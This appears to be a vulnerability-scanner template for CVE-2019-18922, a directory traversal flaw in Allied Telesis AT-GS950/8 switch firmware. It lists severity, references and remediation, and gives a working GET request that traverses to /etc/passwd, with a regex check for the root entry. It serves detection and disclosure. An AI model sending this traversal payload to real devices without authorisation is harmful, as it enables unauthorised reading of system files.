id: CVE-2019-18922

info:
  name: Allied Telesis AT-GS950/8 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    Allied Telesis AT-GS950/8 until Firmware AT-S107 V.1.1.3 is susceptible to local file inclusion via its web interface.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to read arbitrary files on the affected device, leading to unauthorized access and potential data leakage.
  remediation: |
    Apply the latest firmware update provided by Allied Telesis to fix the vulnerability.
  reference:
    - https://packetstormsecurity.com/files/155504/Allied-Telesis-AT-GS950-8-Directory-Traversal.html
    - https://pastebin.com/dpEGKUGz
    - https://nvd.nist.gov/vuln/detail/CVE-2019-18922
    - http://packetstormsecurity.com/files/155504/Allied-Telesis-AT-GS950-8-Directory-Traversal.html
    - http://seclists.org/fulldisclosure/2019/Nov/31
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-18922
    cwe-id: CWE-22
    epss-score: 0.87606
    epss-percentile: 0.9948
    cpe: cpe:2.3:o:alliedtelesis:at-gs950\/8_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: alliedtelesis
    product: at-gs950\/8_firmware
  tags: cve,cve2019,packetstorm,seclists,allied,lfi,alliedtelesis,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ee5503bb115704e4d1b9a9e930907343d08f6dfe9abf844a366adc3f4ea8cbec022100fb05188b25327c21e6d2293aac48186f3a8783f7e935c13aa6ca37232087dc0c:922c64590222798bb761d5b6d8e72950